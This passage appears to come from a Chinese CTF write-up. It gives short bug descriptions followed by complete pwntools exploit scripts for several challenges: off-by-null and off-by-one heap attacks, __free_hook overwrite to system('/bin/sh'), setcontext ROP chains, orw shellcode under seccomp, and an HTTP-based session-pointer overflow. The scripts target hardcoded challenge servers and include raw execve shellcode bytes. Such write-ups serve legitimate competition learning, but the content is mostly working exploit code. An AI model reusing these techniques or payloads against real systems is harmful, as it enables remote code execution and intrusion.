r.send(buf)
r.interactive()
0x02 baby_diary
2.29下的off-by-null构造,利用largebin残留的指针,需要小爆破一下。
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
debugg = 0
logg = 0
ctx.binary = './baby_diary'
ctx.custom_lib_dir = './glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/'#remote libc
ctx.debug_remote_libc = True
ctx.symbols = {'note':0x4060,'size':0x4140}
ctx.breakpoints = [0x15df]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode child\nc")
def lg(name,val):
log.success("%s :%s"%(name,hex(val)))
def getLeak():
num = uu64(ru('\x7f',drop=False)[-6:])
return num
while 1:
try:
if debugg:
rs()
else:
ctx.remote = ('8.140.114.72', 1399)
rs(method = 'remote')
if logg:
context.log_level = 'debug'
def choice(aid):
sla('>> ',aid)
def add(asize,acon):
choice(1)
sla('size: ',asize-1)
sa('content: ',acon)
def show(aid):
choice(2)
sla('index: ',aid)
def free(aid):
choice(3)
sla('index: ',aid)
for i in range(7):
add(0x28,'chun_'+str(i)+'\n')#0-6
'''
heap_base = ctx.bases.heap
lg("heap_base",heap_base)
if (heap_base>>8)&0xf0 != 0xf0:
ctx.close()
continue
if (heap_base>>16)&0xf != 0:
ctx.close()
continue
raw_input('success!')
'''
add(0xc18,'padding\n')#7
add(0x5e0,'8\n')#8
add(0x18,'9\n')#9
free(8)
add(0x618,'8\n')#8
add(0x28,chr(ord('a')-6)+'a'*7+p64(0x101)+p8(0x90)+'\n')#10
add(0x28,'\n')#11
add(0x28,'1'*7+'\n')#12
add(0x28,'\n')#13
add(0x28,'\n')#14
for i in range(7):
free(i)
free(11)
free(13)
for i in range(7):
add(0x28,'\n')#0-6
add(0x618,'\n')#11
add(0x28,chr(ord('b')-4)+'b'*7+p8(0x10)+'\n')#13
add(0x20,'\x0d'+'\0'*0x1e)#15
for i in range(7):
free(i)
free(14)
free(10)
for i in range(7):
add(0x28,'\n')#0-6
add(0x28,p8(0x10)+'\n')#10
add(0x28,'\n')#14
add(0x10,'\n')#16
add(0x4d8,'\n')#17
free(16)
add(0x18,'\0'*0x17)#16 off by null
free(16)
add(0x18,p64(1)+p64(0)+'\n')#16 set data
free(17)
add(0x18,'\n')#17
show(15)
data = ru('diary')
if '\x7f' not in data:
ctx.close()
continue
libc = ctx.libc
aid = data.find('\x7f')
libc_base = uu64(data[aid-5:aid+1]) - 0x1ebbe0
lg("libc_base",libc_base)
free(13)
free(12)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(0x60,'\x00'*0x28+p64(0x31)+p64(free_hook-8)+'\n')#12
add(0x28,'\n')#13
add(0x28,'/bin/sh\0'+p64(system)+'\n')#18
free(18)
#ctx.debug()
irt()
if debugg == 1:
break
except KeyboardInterrupt:
exit()
except Exception,e:
print e.message
0x03 EzCloud
当申请满16个chunk的时候,再次申请即可溢出修改到next session的指针。首先利用edit note来改大点size,泄露堆地址,然后将伪造next session即可。
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *
context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s = lambda data :ctx.send(str(data)) #in case that data is a int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
leak = lambda address, count=0 :ctx.leak(address, count)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
debugg = 0
logg = 0
ctx.binary = './EzCloud'
ctx.custom_lib_dir = './glibc-all-in-one/libs/2.31-0ubuntu9.1_amd64/'#remote libc
ctx.debug_remote_libc = True
ctx.symbols = {'note':0xd1e0}
ctx.breakpoints = [0x75f1]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode child\nc")
def lg(name,val):
log.success("%s :%s"%(name,hex(val)))
def getLeak():
num = uu64(ru('\x7f',drop=False)[-6:])
return num
now_num = 8
while 1:
try:
if debugg:
rs()
else:
ctx.remote = ('47.94.234.66', 37128)
rs(method = 'remote')
if logg:
context.log_level = 'debug'
def login(aid):
content = ''
content += 'POST /login HTTP/1.1\r\n'
content += 'Login-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: 0\r\n'
content += '\r\n'
s(content)
ru('</body></html>\r\n')
def add(aid,asize,acon):
content = ''
content += 'POST /notepad HTTP/1.1\r\n'
content += 'Login-ID: {aid}\r\n'.format(aid=aid)
content += 'Note-Operation: new%20note\r\n'
content += 'Content-Length: {asize}\r\n'.format(asize=asize)
content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
content += urlencode(acon)+'\r\n'
content += '\r\n'
s(content)
ru('</body></html>\r\n')
def edit(lgid,aid,asize,acon):
content = ''
content += 'POST /notepad HTTP/1.1\r\n'
content += 'Login-ID: {lgid}\r\n'.format(lgid=lgid)
content += 'Note-Operation: edit%20note\r\n'
content += 'Note-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: {asize}\r\n'.format(asize=asize)
content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
content += urlencode(acon)+'\r\n'
content += '\r\n'
s(content)
ru('</body></html>\r\n')
def free(lgid,aid):
content = ''
content += 'POST /notepad HTTP/1.1\r\n'
content += 'Login-ID: {lgid}\r\n'.format(lgid=lgid)
content += 'Note-Operation: delete%20note\r\n'
content += 'Note-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: 0\r\n'
content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
s(content)
ru('</body></html>\r\n')
def show(aid):
content = ''
content += 'GET /notepad HTTP/1.1\r\n'
content += 'Login-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: 0\r\n'
content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
s(content)
def getflag(aid):
content = ''
content += 'GET /flag HTTP/1.1\r\n'
content += 'Login-ID: {aid}\r\n'.format(aid=aid)
content += 'Content-Length: 0\r\n'
content += '\r\n'
s(content)
login('111')
login('222')
add('111',0x1,'A')
edit('111',0,2,'B')
show('111')
ru('<p>B')
fake = (uu64(r(5)) << 8)+0x8ef8+now_num
now_num += 8
lg("fake",fake)
ru('</body></html>\r\n')
num = 0xe0
for i in range(13):
add('111',num*3,'A'*num)
payload = ''
payload += 'B'*0x30+p64(fake)
payload += p64(1)+p64(fake+0x20)
payload += p64(8)+p64(3)
payload += '888'+'\0'*5
payload += 'B'*(0xe0-len(payload))
for i in range(16):
add('222',num*3,payload)
add('222',0x30,'C'*0x10)
#ctx.debug()
#raw_input()
getflag('888')
data = ru('</body></html>\r\n')
if '{' in data:
print data
irt()
else:
ctx.close()
if debugg == 1:
break
except KeyboardInterrupt:
exit()
except Exception,e:
print e.message
0x04 orw
seccomp沙箱,只允许read write open,覆盖free的got表为一块堆,然后在堆里填上jmp rdi(要free的这块堆),利用另一块堆进行orw
注意还有一个漏洞,输入0的话可以无限输入,突破输入的限制:
exp:
from pwn import *
context.log_level="debug"
context.os = 'linux'
context.arch = 'amd64'
elf = ELF('./pwn')
#p = process('./pwn')
p = remote('39.105.131.68',12354)
libc = ELF('./libc-2.23.so')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def add(index,size,text):
ru("choice >>")
sl(1)
ru('index:')
sl(index)
ru('size:')
sl(size)
ru('content:')
s(text)
def delete(index):
ru("choice >>")
sl(4)
ru('index:')
sl(index)
free_addr= 0x202018
chunk_addr = 0x2020E0
index = (chunk_addr-free_addr)/8
payload = asm('jmp rdi')+'\x90'*5
print(payload)
print(len(payload))
add(-index,7,payload)
#gdb.attach(p)
payload = asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,'rsp',0x40))
payload += asm(shellcraft.write(1,'rsp',0x40))
payload +='\n'
print(len(payload))
add(0,0,payload)
delete(0)
p.interactive()
0x05 babypwn
off-by-one漏洞,劫持free_hook利用setcontext进行rop,泄露地址时用z3解
from pwn_debug import *
from z3 import *
pdbg=pwn_debug("./babypwn")
pdbg.context.terminal=['tmux', 'splitw', '-h']
context.log_level='debug'
pdbg.remote("39.105.130.158",8888)
switch=3
if switch==1:
p=pdbg.run("local")
elif switch==2:
p=pdbg.run("debug")
elif switch==3:
p=pdbg.run("remote")
libc=ELF("./libc.so.6"))
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
sym = lambda symbol :pdbg.sym(symbol)
def bpp():
bp([])
input()
#elf=pdbg.elf
#libc=pdbg.libc
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def alloc(sz):
sla('>>>',1)
sla('size:',sz)
def free(idx):
sla('>>>',2)
sla('index:',idx)
def edit(idx,con):
sla('>>>',3)
sla('index:',idx)
sa('content:',con)
def show(idx):
sla('>>>',4)
sla('index:',idx)
def magic(num):
s=Solver()
v4=BitVec("res",8*4)
v4_t=v4
for i in range(2):
v4 ^= LShR((v4 ^ (32 * v4)) , 17) ^ 32 * v4 ^ ((LShR((v4 ^ (32 * v4)) , 17) ^ v4 ^ 32 * v4) << 13)
s.add(v4==num)
assert s.check()==sat
return s.model()[v4_t].as_long()
for i in range(8):
alloc(0x88)
for i in range(5):
free(i)
for i in range(6,8):
free(i)
free(5)
alloc(0x48)
show(0)
ru('\n')
recv_num1=magic(int(ru('\n'),16))
recv_num2=magic(int(ru('\n'),16))
recv_num=recv_num1|(recv_num2<<32)
addr=recv_num-0x3ebd20
free(0)
for i in range(7):
alloc(0x88)
for i in range(9):
alloc(0x108+0x90)
free(7)
free(8)
alloc(0x198)
show(7)
ru('\n')
recv_num1=magic(int(ru('\n'),16))
recv_num2=magic(int(ru('\n'),16))
heap_base=(recv_num1|(recv_num2<<32))-0xd70
free(7)
for i in range(9,14):
free(i)
free(14)
alloc(0x88)
edit(7,'a'*0x88)
alloc(0x88)
alloc(0x28)
for i in range(7):
free(i)
free(8)
free(15)
alloc(0x100)
free(9)
edit(0,'\x00'*0x88+p64(0x31)+p64(addr+libc.sym['__free_hook']))
alloc(0x28)
alloc(0x28)
alloc(0x200)
libc_base=addr
buffer_addr=heap_base+0x1b70
pop_rdx=0x0000000000001b96+libc_base
pop_rdi=0x000000000002155f+libc_base
pop_rsi_1=0x000000000002155d+libc_base
flag_str_addr=buffer_addr+0xb0
setcontext=libc_base+libc.sym['setcontext']+53
flag_addr=buffer_addr+0xc0
func_open=libc.sym['open']+libc_base
func_read=libc.sym['read']+libc_base
func_write=libc.sym['write']+libc_base
rop_chain=flat([
flag_str_addr,
pop_rsi_1,
0,
0,
func_open,
pop_rdi,
3,
pop_rsi_1,
flag_addr,
0,
pop_rdx,
0x30,
func_read,
pop_rdi,
1,
pop_rsi_1,
flag_addr,
0,
pop_rdx,
0x30,
func_write
])
rop_chain=rop_chain.ljust(0xb0,'\x00')+'flag.txt'+p64(0)
rop_chain=rop_chain.ljust(0x100,'\x00')
s=SigreturnFrame()
s.rsp=buffer_addr
s.rip=pop_rdi
s=str(s)
pay=s[:0x88]+p64(heap_base+0xf0)+s[0x90:0xd8]+p64(heap_base+0x240+0xb8-0x40)+s[0xe0:]
pay=pay.ljust(0x100,'\x00')
edit(3,pay+rop_chain)
edit(2,p64(libc_base+libc.sym['setcontext']+53))
free(3)
it()
0x06 pipeline
漏洞点位于append中的LOWORD(v1)=v3覆盖低两个字节可导致大小变大,从而溢出。
利用未初始化泄露LIBC和heap
利用整数溢出越界写堆块
控制堆块指针随便打
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './pipeline'
#elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.31.so")
p = remote("59.110.173.239" , 2399)
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def choice(idx):
sla(">> ",str(idx))
def add():
choice(1)
def edit(idx,off,sz):
choice(2)
sla("index: ",idx)
sla("offset: ",off)
sla("size: ",sz)
def delete(idx):
choice(3)
sla("index: ",idx)
def append(idx,sz,con):
choice(4)
sla("index: ",idx)
# sla("offset: ",off)
sla("size: ",sz)
sa("data: ",con)
def show(idx):
choice(5)
sla("index: ",idx)
def exp():
# debug([0x149E,0x14D2])
add()#0
add()
add()#2
add()
add()#4
add()#5
# debug([0x1400,0x1732,0x1885,0x18B7,0x18AF])
edit(1,0x437,0x438)
add()#6
add()#7
add()#8
add()#9
# edit(1,0x457,0x458)
edit(1,0x457,0x458)
edit(2,0,0x20)
show(2)
ru("data: ")
data = uu64(r(6))
lg('data',data)
addr = data - 0x7ffa90832fe0 + 0x7ffa90647000
append(2,0x10,'a'*0x10)
show(2)
ru("a"*0x10)
data1 = uu64(r(6))
lg('data1',data1)
heap = data1 - 0x370
lg('heap',heap)
lg('addr',addr)
sys = addr + libc.sym['system']
fh = addr + libc.sym['__free_hook']
#------------------------------------------
# edit(0,0x27,0x28)#oof + size off = size append <=
# edit(3,0,0x18)
edit(4,0,0x28)
# edit(0,0,0)
# edit(3,0,0)
edit(5,0,0x10)
edit(0,0,0x20)
edit(3,0,0x20)
# delete(6)
edit(3,0,0)
edit(0,0,0)
edit(4,0,0)
# debug([0x1875])
# add()#7
pay = 'x'*0x10+p64(0)+p64(0x31)+p64(heap+0x2b0)
append(5,0x80000200,pay+'\n')
edit(3,0,0x20)
append(3,8,'/bin/sh\x00')
edit(4,0,0x20)
edit(0,0,0x20)
pay = 'b'*0x10+p64(fh)
append(0,0x20,pay+'\n')
append(0,0x20,p64(sys)+'\n')
edit(3,0,0)
# append(0,0xffffffff,'a'+'\n')
# append(1,0xffffffff,'a'*0x30+'\n')
# add()
# edit(1,0x27,0x28)
# edit(4,0x17,0x18)
# add()
# edit(4,0,0)
# dbg()
it()
if __name__ == '__main__':
exp()
0x07 [强网先锋]shellcode
64位下执行mmap read
32位下open
64位read爆破匹配
# _*_ coding:utf-8 _*_
from pwn import *
# context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './shellcode'
# context.arch = 'i386'
#elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("./libc-2.27.so")
# p = remote("124.70.197.50", 9010)
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data)) #in case that data is an int
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
it = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
bp = lambda bkp :pdbg.bp(bkp)
li = lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def prepare(p):
append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''
shellcode_x86 = asm(shellcode_x86)
shellcode_flag = asm(shellcode_flag,arch='amd64')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
pop rcx
push 0x40/*set rax*/
pop rax
xor al,0x49
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
'''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
# print hex(len(shellcode))
# pause()
# gdb.attach(p,"b*0x4002eb\nc")
p.sendline(shellcode)
# pause()
sleep(0.1)
code1 = shellcode_x86 + 0x29*'\x90' + shellcode_flag
return code1
# p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
# p.interactive()
def pwn(p, index, ch):
# open
# shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"
# re open, rax => 4
# shellcode += "push 2; pop rax; syscall;"
# # read(rax, 0x10040, 0x50)
# shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
# cmp and jz
code1 =prepare(p)
shellcode_cmp=""
if index == 0:
shellcode_cmp += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode_cmp += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
shellcode_cmp = asm(shellcode_cmp,arch = 'amd64',os = 'linux')
p.sendline(code1+shellcode_cmp)
index = 0
ans = []
debug_flag = 1
while True:
for ch in range(0x20,0x7f):
ch = chr(ch)
ch =ord(ch)
print(chr(ch))
if debug_flag:
# p = remote('8.140.177.7',40334)
p = remote('39.105.137.118',50050)
else:
p = process(prog)
# prepare()
pwn(p, index, ch)
print "======================================================================================>"+chr(ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index=index +1
print("".join([chr(i) for i in ans]))